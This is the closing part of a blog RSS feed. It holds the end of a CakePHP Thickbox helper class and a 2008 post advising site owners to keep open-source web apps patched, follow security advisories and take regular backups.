<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#008000;">/**</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">&nbsp; &nbsp;&nbsp; * Set properties - DOM ID, Height and Width, Type of thickbox window - inline or ajax</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">&nbsp; &nbsp;&nbsp; *</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">&nbsp; &nbsp;&nbsp; * @param array $options</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">&nbsp; &nbsp;&nbsp; */</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#000000; font-weight:bold;">function</span> setProperties<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$options</span> = <a href="http://www.php.net/array"><span style="color:#000066;">array</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span>!<a href="http://www.php.net/isset"><span style="color:#000066;">isset</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'type'</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'type'</span><span style="color:#006600; font-weight:bold;">&#93;</span> = <span style="color:#FF0000;">'inline'</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">options</span> = <span style="color:#0000FF;">$options</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#000000; font-weight:bold;">function</span> setPreviewContent<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$content</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'previewContent'</span><span style="color:#006600; font-weight:bold;">&#93;</span> = <span style="color:#0000FF;">$content</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#000000; font-weight:bold;">function</span> setMainContent<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$content</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'mainContent'</span><span style="color:#006600; font-weight:bold;">&#93;</span> = <span style="color:#0000FF;">$content</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#000000; font-weight:bold;">function</span> <a href="http://www.php.net/reset"><span style="color:#000066;">reset</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">options</span> = <a href="http://www.php.net/array"><span style="color:#000066;">array</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#000000; font-weight:bold;">function</span> output<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/extract"><span style="color:#000066;">extract</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">options</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$type</span>==<span style="color:#FF0000;">'inline'</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$href</span> = <span style="color:#FF0000;">'#TB_inline?'</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$href</span> .= <span style="color:#FF0000;">'&amp;inlineId='</span>.<span style="color:#0000FF;">$id</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#616100;">elseif</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$type</span>==<span style="color:#FF0000;">'ajax'</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$ajaxUrl</span> = <span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">Html</span>-&gt;<span style="color:#006600;">url</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$ajaxUrl</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$href</span> = <span style="color:#0000FF;">$ajaxUrl</span>.<span style="color:#FF0000;">'?'</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span><a href="http://www.php.net/isset"><span style="color:#000066;">isset</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$height</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$href</span> .= <span style="color:#FF0000;">'&amp;height='</span>.<span style="color:#0000FF;">$height</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span><a href="http://www.php.net/isset"><span style="color:#000066;">isset</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$width</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$href</span> .= <span style="color:#FF0000;">'&amp;width='</span>.<span style="color:#0000FF;">$width</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$output</span> = <span style="color:#FF0000;">'&lt;a class=&quot;thickbox&quot; href=&quot;'</span>.<span style="color:#0000FF;">$href</span>.<span style="color:#FF0000;">'&quot;&gt;'</span>.<span style="color:#0000FF;">$previewContent</span>.<span style="color:#FF0000;">'&lt;/a&gt;'</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$type</span>==<span style="color:#FF0000;">'inline'</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$output</span> .= <span style="color:#FF0000;">'&lt;div id=&quot;'</span>.<span style="color:#0000FF;">$id</span>.<span style="color:#FF0000;">'&quot; style=&quot;display:none;&quot;&gt;'</span>.<span style="color:#0000FF;">$mainContent</span>.<span style="color:#FF0000;">'&lt;/div&gt;'</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/unset"><span style="color:#000066;">unset</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">options</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#616100;">return</span> <span style="color:#0000FF;">$output</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#000000; font-weight:bold;">function</span> beforeRender<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$out</span> = <span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">Html</span>-&gt;<span style="color:#006600;">css</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'/effects/css/thickbox.css'</span><span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#FF0000;">'&lt;script src=&quot;'</span>.<span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">Html</span>-&gt;<span style="color:#006600;">url</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'/effects/js/thickbox-compressed.js'</span><span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#FF0000;">'&quot;&gt;&lt;/script&gt;'</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$view</span> =&amp; ClassRegistry::<span style="color:#006600;">getObject</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'view'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$view</span>-&gt;<span style="color:#006600;">addScript</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$out</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">?&gt;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>
 </p>
<p>You'll need to copy the thickbox files to /app/webroot/effects. You can keep it in any folder for that matter, but as our team is following plugins – it's made that way.
</p>
<p>- Abhimanyu Grover</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gigapromoters.com/blog/2009/02/11/thickbox-helper-for-cakephp/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Security concerns with open source web apps and how to be safe</title>
		<link>http://www.gigapromoters.com/blog/2008/12/22/security-concerns-with-open-source-web-apps-and-how-to-be-safe/</link>
		<comments>http://www.gigapromoters.com/blog/2008/12/22/security-concerns-with-open-source-web-apps-and-how-to-be-safe/#comments</comments>
		<pubDate>Mon, 22 Dec 2008 19:04:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Best Practices]]></category>

		<guid isPermaLink="false">http://www.gigapromoters.com/blog/2008/12/22/security-concerns-with-open-source-web-apps-and-how-to-be-safe/</guid>
		<description><![CDATA[While a routine research on net today I went to a security advisory site. I was reminded by this website that how easy it is, for script kiddies to hack into most of the outdated open source apps. It's not a new thing, but I feel importance of sharing my experience as a web developer. [...]]]></description>
			<content:encoded><![CDATA[<p>While a routine research on net today I went to a security advisory site. I was reminded by this website that how easy it is, for script kiddies to hack into most of the outdated open source apps. It's not a new thing, but I feel importance of sharing my experience as a web developer. For instance, this website here has got a special section for web apps featuring latest vulnerabilities and potential security compromises: <a href="http://milw0rm.com/webapps.php">http://milw0rm.com/webapps.php</a>
	</p>
<p>If one start browsing through it, will easily find everything from File disclosure attacks to SQL injections. And it's just not that, in most of the reported security issues, people have even published a test script or attacker code which can actually run from anyone's computer increasing number of possible attackers who are not just aware of the flaw, but are provided with the real tools now, to do what they want with a victim website. I've seen many websites went down in huge amount when such vulnerabilities are out in public. One of the biggest vulnerabilities in phpBB, an open source forum, was released few years back. It allowed any attacker to gain shell access to the victim website, and yes, I did tried it on my server before fixing the code. I seen like hundreds of websites went down in a matter of few hours. Later, the flaw was such a big hit to phpBB, that it was named as a worm. You can see <a href="http://news.bbc.co.uk/1/hi/technology/4117711.stm">BBC news article</a> for stats etc. on it.
</p>
<p>My clients ask me, 'this new open source technology is cool; we would like to go with it. What do you think?' I often stop and think for a second. Sometimes, I also try to explain them about positive and negative aspects related to it. I know decision to use open source technology will save time and budget anyway, so I keep decision on them most of the time. But I know it's not as safe as a custom-made app, I believe using something which is accessible to thousands of people comes with its own disadvantages (and advantages too, for that matter).
</p>
<p><strong>So should you really stop using Wordpress or Joomla or any other open source tech?<br />
</strong></p>
<p>No, and Yes. First, you got to accept a thing. By choosing an open source app, you're keeping yourself a bit opened for attacks somehow – you have to accept that fact. But some good open source projects like Joomla, Wordpress, phpBB and many other with big communities are more responsive to such attacks, in just few hours when such vulnerability is out in public, they release security updates and have good platform to notify people using them. Sometimes these project owners are informed even before the attack is made public itself. Still, you can't trust a community if you are handling sensitive data or sensitive operations with your application. I wouldn't recommend any open source web app to any government institution, never ever for the same reason.
</p>
<p><strong>So, Open source with a backup of big community is good enough?<br />
</strong></p>
<p>No matter how good a project's community might be or how bad, in any case, you have to keep your eyes open to such new vulnerabilities. If you've just launched an app, and kept it ignored on a server for months, you're likely to get hacked before any other active website. Remember, a good administration is must when using open source web apps. I highly recommend that either you keep an eye on such alerts or let your developers do the job. Like they say, Prevention is better than cure. Being proactive in preventing an attack is much easier rather than getting back online after your app is compromised because of some vulnerability.
</p>
<p><strong>What do we recommend?<br />
</strong></p>
<ul>
<li>Keep an eye on security updates from project's website
</li>
<li>Always use the latest stable version of software, and update it timely
</li>
<li>Keep an eye on advisories boards or such website (Best thing, is to create a Google web alert to let you alert when something like this is out)
</li>
<li>Timely Automated backups
</li>
</ul>
<p>If you're not already doing it, I highly recommend you getting on it from today if you really care about your website. Hope this helps. Thanks for reading.
</p>
<p>- Abhimanyu Grover</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gigapromoters.com/blog/2008/12/22/security-concerns-with-open-source-web-apps-and-how-to-be-safe/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

